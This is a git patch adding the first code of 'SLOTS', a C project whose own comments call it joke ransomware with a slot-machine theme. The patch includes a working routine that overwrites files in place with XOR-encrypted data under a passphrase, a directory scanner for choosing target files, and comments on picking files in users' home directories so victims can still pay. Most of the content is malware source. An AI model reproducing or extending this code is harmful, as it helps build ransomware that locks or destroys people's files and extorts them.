From 1e9915d2ce9baa31506a8c04929d6e44a29f106b Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Mon, 10 Jun 2024 23:19:04 -0500 Subject: Initial Commit --- src/Makefile | 17 ++++++ src/encryption.c | 182 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ src/encryption.h | 9 +++ src/main.c | 15 +++++ src/search.c | 72 ++++++++++++++++++++++ src/search.h | 12 ++++ 6 files changed, 307 insertions(+) create mode 100644 src/Makefile create mode 100644 src/encryption.c create mode 100644 src/encryption.h create mode 100644 src/main.c create mode 100644 src/search.c create mode 100644 src/search.h (limited to 'src') diff --git a/src/Makefile b/src/Makefile new file mode 100644 index 0000000..39369a1 --- /dev/null +++ b/src/Makefile @@ -0,0 +1,17 @@ +CC = gcc +CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb + +BINARY_FILES := encrypt search + +.PHONY: all clean + +all: $(BINARY_FILES) + +clean: + rm -rvf $(BINARY_FILES) + +encrypt: encryption.c encryption.h + $(CC) $(CFLAGS) encryption.c -o encrypt + +search: search.c search.h + $(CC) $(CFLAGS) search.c -o search \ No newline at end of file diff --git a/src/encryption.c b/src/encryption.c new file mode 100644 index 0000000..6539b1a --- /dev/null +++ b/src/encryption.c @@ -0,0 +1,182 @@ +/*** + * ENCRYPTION + * + * Makes files unreadable, kinda. +*/ + +#include "encryption.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +// Encrypt a file (OVERWRITES FILE!) using a passphrase +size_t passenc(int fd, const char *passphrase) { + struct stat sb; + void *filebuf = NULL; + ssize_t cur_len = 0; + ssize_t bytesread = 0; + int esave; + + + // Set up file buffer + if(fstat(fd, &sb) < 0) { + error(0, errno, "[passenc] Could not stat file descriptor \"%d\"", fd); + return -1; + } + filebuf = calloc(sb.st_size, 1); + if(filebuf == NULL) { + error(0, errno, "[passenc] Could not allocate buffer for reading file"); + return -1; + } + + while((bytesread = read(fd, ((uint8_t*)filebuf) + cur_len, sb.st_size - cur_len)) > 0) { + esave = errno; + cur_len += bytesread; + if(cur_len > sb.st_size) { + error(0, ERANGE, "[passenc] Reading overran the proper file size somehow"); + free(filebuf); + return -1; + } + } + if(bytesread < 0) { + error(0, esave, "[passenc] Ran into a read error"); + free(filebuf); + return -1; + } + + + // Do the "encryption" + size_t phraselen = strlen(passphrase); + for(off_t i = 0; i < sb.st_size; i++) { + ((uint8_t*)filebuf)[i] ^= passphrase[i % phraselen]; + } + + + // Write "encrypted" data to file + if(lseek(fd, 0, SEEK_SET) < 0) { + error(0, errno, "[passenc] Could not seek to beginning of file"); + free(filebuf); + return -1; + } + + bytesread = 0; + cur_len = 0; + while((bytesread = write(fd, ((uint8_t*)filebuf) + cur_len, sb.st_size - cur_len)) > 0) { + esave = errno; + cur_len += bytesread; + if(cur_len > sb.st_size) { + error(0, ERANGE, "[passenc] writing overran the proper file size somehow"); + free(filebuf); + return -1; + } + } + if(bytesread < 0) { + error(0, esave, "[passenc] Ran into a write error"); + free(filebuf); + return -1; + } + + free(filebuf); + return cur_len; +} + +// Encrypt a file one block at a time (Overwrites file) +size_t passencblock(int fd, const char *passphrase) { + struct stat sb; + void *filebuf = NULL; + ssize_t cur_len = 0, totalwritten = 0; + ssize_t bytesread = 0, usebytes = 0; + int esave; + off_t offset = 0; + + + // Set up file buffer + if(fstat(fd, &sb) < 0) { + error(0, errno, "[passenc] Could not stat file descriptor \"%d\"", fd); + return -1; + } + filebuf = calloc(sb.st_blksize, 1); + if(filebuf == NULL) { + error(0, errno, "[passenc] Could not allocate buffer for reading file"); + return -1; + } + + // Read 1 block + // Do the encryption + // Overwrite the block with the encryption + // Repeat until EOF + + while(offset < sb.st_size) { + // Read a block + bytesread = 0; + cur_len = 0; + while((bytesread = read(fd, ((char*)filebuf) + cur_len, sb.st_blksize - cur_len)) > 0) { + esave = errno; + cur_len += bytesread; + if(cur_len > sb.st_blksize) { + error(0, ERANGE, "[passenc] Read too many bytes somehow"); + free(filebuf); + return -1; + } + } + if(bytesread < 0) { + error(0, esave, "[passenc] Ran into a read error"); + free(filebuf); + return -1; + } + usebytes = cur_len; + + // Do the encryption + size_t phraselen = strlen(passphrase); + for(off_t i = 0; i < usebytes; i++) { + ((char*)filebuf)[i] ^= passphrase[i % phraselen]; + } + + // Seek to the right spot + if(lseek(fd, offset, SEEK_SET) < 0) { + error(0, errno, "[passenc] Could not seek to proper offset"); + free(filebuf); + return -1; + } + offset += sb.st_blksize; + + // Write to the file + bytesread = 0; + cur_len = 0; + while((bytesread = write(fd, ((char*)filebuf) + cur_len, usebytes - cur_len)) > 0) { + esave = errno; + cur_len += bytesread; + if(cur_len > sb.st_blksize) { + error(0, ERANGE, "[passenc] writing overran the block size somehow"); + free(filebuf); + return -1; + } + } + if(bytesread < 0) { + error(0, esave, "[passenc] Ran into a write error"); + free(filebuf); + return -1; + } + totalwritten += cur_len; + + } + + free(filebuf); + return totalwritten; +} + +int main() { + int fd = open("test.txt", O_RDWR); + passencblock(fd, "we do a little trolling"); + + return 0; +} \ No newline at end of file diff --git a/src/encryption.h b/src/encryption.h new file mode 100644 index 0000000..eccb6b9 --- /dev/null +++ b/src/encryption.h @@ -0,0 +1,9 @@ +#ifndef __SLOTS__ENCRYPTION_H__176771896719387 +#define __SLOTS__ENCRYPTION_H__176771896719387 + +#include + +/* Overwrite an open file with "encrypted" data by XOR'ing each byte with a character from PASSPHRASE. Returns number of bytes overwritten, and -1 on error */ +size_t passenc(int fd, const char *passphrase); + +#endif \ No newline at end of file diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..6e0bc8f --- /dev/null +++ b/src/main.c @@ -0,0 +1,15 @@ +/*** + * SLOTS - Feelin' Lucky? + * + * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. + * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it + * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit + * + * +*/ + +int main() { + + + return 0; +} \ No newline at end of file diff --git a/src/search.c b/src/search.c new file mode 100644 index 0000000..22e5486 --- /dev/null +++ b/src/search.c @@ -0,0 +1,72 @@ +/*** + * SEARCH + * + * Find valid files to encrypt +*/ + +/* +Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their +shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now) +*/ + +#define _GNU_SOURCE + +#include "search.h" + +#include +#include +#include +#include +#include +#include +#include +#include + +int folderonly(const struct dirent64 *tester) { + // Filter out the current and previous dir macros + if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0) + return 0; + + // Check if the "file" is specifically a dir + struct stat64 sb; + if(stat64(tester->d_name, &sb) < 0) { + error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); + return 0; // Don't try to traverse into a dir that we don't know is a dir or not + } + + // Filter out non dirs + if((sb.st_mode & S_IFMT) != S_IFDIR) + return 0; + + return 1; +} + +int fileonly(const struct dirent64 *tester) { + // Check if the "file" is specifically a dir + struct stat64 sb; + if(stat64(tester->d_name, &sb) < 0) { + error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); + return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten + } + + // Filter out dirs + if((sb.st_mode & S_IFMT) != S_IFREG) + return 0; + + return 1; +} + +int main (void) { + struct dirent64 **eps; + int n; + + n = scandir64("./", &eps, folderonly, alphasort64); + if(n >= 0) { + for(int cnt = 0; cnt < n; cnt++) + puts(eps[cnt]->d_name); + } else { + perror("Couldn't open dir"); + } + + return 0; +} diff --git a/src/search.h b/src/search.h new file mode 100644 index 0000000..9a5a086 --- /dev/null +++ b/src/search.h @@ -0,0 +1,12 @@ +#ifndef __SLOTS__SEARCH_H__1863390513307 +#define __SLOTS__SEARCH_H__1863390513307 + +#include + +// scandir filter: filter out anything that isn't a directory +int folderonly(const struct dirent64 *tester); + +// scandir filter: filter out anything that isn't a regular file +int fileonly(const struct dirent64 *tester); + +#endif \ No newline at end of file -- cgit v1.2.3